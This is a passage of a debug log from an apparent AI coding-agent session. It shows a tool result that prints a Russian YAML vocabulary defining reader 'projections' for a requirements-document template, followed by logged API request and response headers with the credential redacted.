\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430.\\n#\\n# \u0414\u043e \u0432\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u043f\u043e\u043b\u0435 `projection` \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u043e \u0432 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0435 \u0432\u044b\u0445\u043e\u0434\u0430,\\n# \u043d\u043e \u043d\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043b\u043e\u0441\u044c \u043d\u0438 \u043e\u0434\u043d\u0438\u043c \u043d\u0430\u0432\u044b\u043a\u043e\u043c \u0438 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u043e\u0441\u044c: \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432\u0435\u0442\u043a\u0430 \u043d\u0438\\n# \u0440\u0430\u0437\u0443 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u043b\u0430\u0441\u044c. \u0421\u043b\u043e\u0432\u0430\u0440\u044c \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u0443 \u043f\u0443\u0441\u0442\u0443\u044e \u0432\u0435\u0442\u043a\u0443.\\nvocabulary: projections\\nclosed: true\\nversion: \\\"1.0\\\"\\nrule: >-\\n  \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c\u0438 (R-5). \u0421\u043e\u0441\u0442\u0430\u0432 \u0441\u043b\u043e\u0442\u043e\u0432 \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f\\n  \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438; \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0430\u044f\\n  \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430. \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u0443 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044e: \u0434\u0432\u0430 \u0430\u0434\u0440\u0435\u0441\u0430\u0442\u0430 \u0432 \u043e\u0434\u043d\u043e\u043c\\n  \u0447\u0442\u0435\u043d\u0438\u0438 \u2014 \u0434\u0435\u0444\u0435\u043a\u0442, \u043d\u0435\u043e\u0442\u043b\u0438\u0447\u0438\u043c\u044b\u0439 \u043e\u0442 F-MIXED.\\n\\nitems:\\n  - id: V-BIZ\\n    name: \u0427\u0442\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430\\n    addressee: \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0438 \u0432\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\\n    question: \\\"\u0437\u0430\u0447\u0435\u043c \u044d\u0442\u043e \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0438 \u0447\u0442\u043e \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043c\\\"\\n    required_slots: [S-GLOSSARY, S-PROBLEM, S-SCOPE, S-SOLUTION, S-LIMITS, S-OPEN]\\n    wording_rule: >-\\n      \u044f\u0437\u044b\u043a \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0431\u0435\u0437 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0442\u0435\u0440\u043c\u0438\u043d\u043e\u0432; \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0432\\n      \u0444\u043e\u0440\u043c\u0435 \u0446\u0435\u043b\u0438, \u0430 \u043d\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b\\n    default_format_class: F-SHORT\\n\\n  - id: V-APPROVE\\n    name: \u0427\u0442\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f\\n    addressee: \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a, \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0449\u0438\u0439 \u0440\u0435\u0448\u0435\u043d\u0438\u0435\\n    question: \\\"\u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u044f \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\\\"\\n    # \u0420\u0430\u0437\u0434\u0435\u043b\u044b 1\u20136 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430: \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u0434\u0435\u043b\u044c\u0442\u0430, \u0440\u0435\u0448\u0435\u043d\u0438\u0435,\\n    # \u0432\u0435\u0440\u0445\u043d\u0435\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0435 \u0424\u0422 \u0438 \u0442\u043e, \u043a\u0430\u043a \u044d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\\n    required_slots: [S-GLOSSARY, S-PROBLEM, S-SCOPE, S-SOLUTION, S-FR, S-SETTINGS, S-UI, S-SCENARIO, S-NFR, S-LIMITS, S-OPEN]\\n    key_slots: [S-FR, S-SCENARIO, S-UI]\\n    wording_rule: >-\\n      S-FR \u043d\u0435\u0441\u0451\u0442 \u0432\u0435\u0440\u0445\u043d\u0435\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0441 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u043c\\n      \u0424\u0422-NN \u2014 \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u00ab\u0447\u0442\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0434\u0435\u043b\u0430\u0442\u044c\u00bb. S-SCENARIO \u0438 S-UI\\n      \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0442 \u043d\u0430 \u00ab\u043a\u0430\u043a \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c\u00bb \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430: \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0438\\ndist/execution-package-gigacode-cli/templates/bcreq-skeleton.md:72:| `V-DEV` | \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a, \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u043e\u0440, \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0449\u0438\u043a | \u0447\u0435\u043c \u0438 \u0441 \u043a\u0430\u043a\u0438\u043c\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f\u043c\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c: `S-AC`, `S-TRACE`, `S-INTEGRA\\ndist/execution-package-gigacode-cli/templates/bcreq-skeleton.md:73:| `V-CONTRACT` | \u0441\u0442\u043e\u0440\u043e\u043d\u0430 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430 | \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u043d\u044b\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430: `S-FR` \u0432 \u0444\u043e\u0440\u043c\u0435 \u00ab\u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0412\u041e\u0417\u041c\u041e\u0416\u041d\u041e\u0421\u0422\u042c\u00bb, `S-AC` \\ndist/execution-package-gigacode-cli/templates/bcreq-skeleton.md:84:  \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 `V-DEV`.\\ndist/execution-package-gigacode-cli/templates/bcreq-skeleton.md:91:### \u0420\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 `V-DEV`\\ndist/execution-package-gigacode-cli/templates/bcreq-skeleton.md:100:### \u0420\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 `V-CONTRACT`\",\n[2026-09-29T07:50:20.086Z] [INFO]         \"is_error\": false\n[2026-09-29T07:50:20.086Z] [INFO]       }\n[2026-09-29T07:50:20.086Z] [INFO]     ]\n[2026-09-29T07:50:20.086Z] [INFO]   },\n[2026-09-29T07:50:20.086Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:50:20.086Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:20.086Z] [INFO]   \"uuid\": \"70b0f1a3-bf03-44b8-bfc2-33a9197150f6\",\n[2026-09-29T07:50:20.086Z] [INFO]   \"timestamp\": \"2026-09-29T07:50:20.081Z\",\n[2026-09-29T07:50:20.086Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:50:20.086Z] [INFO]     \"stdout\": \"# \u0417\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 A-BCREQ. \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u2014 \u0447\u0442\u0435\u043d\u0438\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0438 \u0442\u043e\u0433\u043e\\n# \u0436\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u0430 \u043d\u0435 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442: \u0441\u043a\u0435\u043b\u0435\u0442 \u0438\u0437 14 \u0441\u043b\u043e\u0442\u043e\u0432 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442\\n# \u0432\u0441\u0435\u0433\u0434\u0430, \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u0437\u0430\u0434\u0430\u0451\u0442, \u043a\u0430\u043a\u0438\u0435 \u0441\u043b\u043e\u0442\u044b \u043e\u0431\u044f\u0437\u0430\u043d\u044b \u0431\u044b\u0442\u044c \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b \u0434\u043b\u044f \u0430\u0434\u0440\u0435\u0441\u0430\u0442\u0430 \u0438\\n# \u043a\u0430\u043a\u0430\u044f \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043d\u0435\u0433\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430.\\n#\\n# \u0414\u043e \u0432\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u043f\u043e\u043b\u0435 `projection` \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u043e \u0432 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0435 \u0432\u044b\u0445\u043e\u0434\u0430,\\n# \u043d\u043e \u043d\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043b\u043e\u0441\u044c \u043d\u0438 \u043e\u0434\u043d\u0438\u043c \u043d\u0430\u0432\u044b\u043a\u043e\u043c \u0438 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u043e\u0441\u044c: \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432\u0435\u0442\u043a\u0430 \u043d\u0438\\n# \u0440\u0430\u0437\u0443 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u043b\u0430\u0441\u044c. \u0421\u043b\u043e\u0432\u0430\u0440\u044c \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u0443 \u043f\u0443\u0441\u0442\u0443\u044e \u0432\u0435\u0442\u043a\u0443.\\nvocabulary: projections\\nclosed: true\\nversion: \\\"1.0\\\"\\nrule: >-\\n  \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c\u0438 (R-5). \u0421\u043e\u0441\u0442\u0430\u0432 \u0441\u043b\u043e\u0442\u043e\u0432 \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f\\n  \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438; \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0430\u044f\\n  \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430. \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u0443 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044e: \u0434\u0432\u0430 \u0430\u0434\u0440\u0435\u0441\u0430\u0442\u0430 \u0432 \u043e\u0434\u043d\u043e\u043c\\n  \u0447\u0442\u0435\u043d\u0438\u0438 \u2014 \u0434\u0435\u0444\u0435\u043a\u0442, \u043d\u0435\u043e\u0442\u043b\u0438\u0447\u0438\u043c\u044b\u0439 \u043e\u0442 F-MIXED.\\n\\nitems:\\n  - id: V-BIZ\\n    name: \u0427\u0442\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430\\n    addressee: \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0438 \u0432\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\\n    question: \\\"\u0437\u0430\u0447\u0435\u043c \u044d\u0442\u043e \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0438 \u0447\u0442\u043e \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043c\\\"\\n    required_slots: [S-GLOSSARY, S-PROBLEM, S-SCOPE, S-SOLUTION, S-LIMITS, S-OPEN]\\n    wording_rule: >-\\n      \u044f\u0437\u044b\u043a \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0431\u0435\u0437 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0442\u0435\u0440\u043c\u0438\u043d\u043e\u0432; \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0432\\n      \u0444\u043e\u0440\u043c\u0435 \u0446\u0435\u043b\u0438, \u0430 \u043d\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b\\n    default_format_class: F-SHORT\\n\\n  - id: V-APPROVE\\n    name: \u0427\u0442\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f\\n    addressee: \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a, \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0449\u0438\u0439 \u0440\u0435\u0448\u0435\u043d\u0438\u0435\\n    question: \\\"\u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u044f \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\\\"\\n    # \u0420\u0430\u0437\u0434\u0435\u043b\u044b 1\u20136 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430: \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u0434\u0435\u043b\u044c\u0442\u0430, \u0440\u0435\u0448\u0435\u043d\u0438\u0435,\\n    # \u0432\u0435\u0440\u0445\u043d\u0435\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0435 \u0424\u0422 \u0438 \u0442\u043e, \u043a\u0430\u043a \u044d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\\n    required_slots: [S-GLOSSARY, S-PROBLEM, S-SCOPE, S-SOLUTION, S-FR, S-SETTINGS, S-UI, S-SCENARIO, S-NFR, S-LIMITS, S-OPEN]\\n    key_slots: [S-FR, S-SCENARIO, S-UI]\\n    wording_rule: >-\\n      S-FR \u043d\u0435\u0441\u0451\u0442 \u0432\u0435\u0440\u0445\u043d\u0435\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0441 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u043c\\n      \u0424\u0422-NN \u2014 \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u00ab\u0447\u0442\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0434\u0435\u043b\u0430\u0442\u044c\u00bb. S-SCENARIO \u0438 S-UI\\n      \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0442 \u043d\u0430 \u00ab\u043a\u0430\u043a \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c\u00bb \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430: \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0438\\ndist/execution-package-gigacode-cli/templates/bcreq-skeleton.md:72:| `V-DEV` | \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a, \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u043e\u0440, \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0449\u0438\u043a | \u0447\u0435\u043c \u0438 \u0441 \u043a\u0430\u043a\u0438\u043c\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f\u043c\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c: `S-AC`, `S-TRACE`, `S-INTEGRA\\ndist/execution-package-gigacode-cli/templates/bcreq-skeleton.md:73:| `V-CONTRACT` | \u0441\u0442\u043e\u0440\u043e\u043d\u0430 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430 | \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u043d\u044b\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430: `S-FR` \u0432 \u0444\u043e\u0440\u043c\u0435 \u00ab\u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0412\u041e\u0417\u041c\u041e\u0416\u041d\u041e\u0421\u0422\u042c\u00bb, `S-AC` \\ndist/execution-package-gigacode-cli/templates/bcreq-skeleton.md:84:  \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 `V-DEV`.\\ndist/execution-package-gigacode-cli/templates/bcreq-skeleton.md:91:### \u0420\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 `V-DEV`\\ndist/execution-package-gigacode-cli/templates/bcreq-skeleton.md:100:### \u0420\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 `V-CONTRACT`\",\n[2026-09-29T07:50:20.086Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:50:20.086Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:50:20.086Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:50:20.086Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:50:20.086Z] [INFO]   }\n[2026-09-29T07:50:20.086Z] [INFO] }\n[2026-09-29T07:50:20.132Z] [STDOUT] [log_7f649e] sending request {\n[2026-09-29T07:50:20.147Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:50:20.151Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:20.154Z] [STDOUT]   options: {\n[2026-09-29T07:50:20.159Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:50:20.161Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:50:20.163Z] [STDOUT]     body: {\n[2026-09-29T07:50:20.165Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:50:20.168Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:50:20.171Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:50:20.173Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:50:20.175Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:50:20.178Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:50:20.181Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:50:20.184Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:50:20.186Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:50:20.188Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:50:20.191Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:50:20.197Z] [STDOUT]       stream: true,\n[2026-09-29T07:50:20.219Z] [STDOUT]     },\n[2026-09-29T07:50:20.231Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:50:20.236Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:50:20.253Z] [STDOUT]       aborted: false,\n[2026-09-29T07:50:20.276Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:50:20.279Z] [STDOUT]       onabort: null,\n[2026-09-29T07:50:20.281Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:50:20.283Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:50:20.286Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:50:20.289Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:50:20.294Z] [STDOUT]     },\n[2026-09-29T07:50:20.298Z] [STDOUT]     stream: true,\n[2026-09-29T07:50:20.300Z] [STDOUT]   },\n[2026-09-29T07:50:20.303Z] [STDOUT]   headers: {\n[2026-09-29T07:50:20.305Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:50:20.309Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:50:20.312Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:50:20.314Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:50:20.316Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:50:20.322Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:50:20.352Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:50:20.385Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:50:20.399Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:50:20.406Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1415\",\n[2026-09-29T07:50:20.414Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:50:20.417Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:50:20.420Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:20.423Z] [STDOUT]     \"x-client-request-id\": \"fad1f03b-5393-41a5-b75d-b3442a260096\",\n[2026-09-29T07:50:20.425Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:50:20.427Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:50:20.428Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:50:20.431Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:50:20.433Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:50:20.435Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:50:20.437Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:50:20.439Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:50:20.441Z] [STDOUT]   },\n[2026-09-29T07:50:20.444Z] [STDOUT] }\n[2026-09-29T07:50:21.048Z] [STDOUT] [log_7f649e, request-id: \"req_011CfXN8XcNztY1sqASi2XJa\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 912ms\n[2026-09-29T07:50:21.053Z] [STDOUT] [log_7f649e] response start {\n[2026-09-29T07:50:21.057Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:21.061Z] [STDOUT]   status: 200,\n[2026-09-29T07:50:21.063Z] [STDOUT]   headers: {\n[2026-09-29T07:50:21.067Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:50:21.070Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:50:21.074Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:50:21.078Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:50:21.080Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:50:21.083Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:50:21.088Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:50:21.092Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:50:21.095Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:50:21.101Z] [STDOUT]     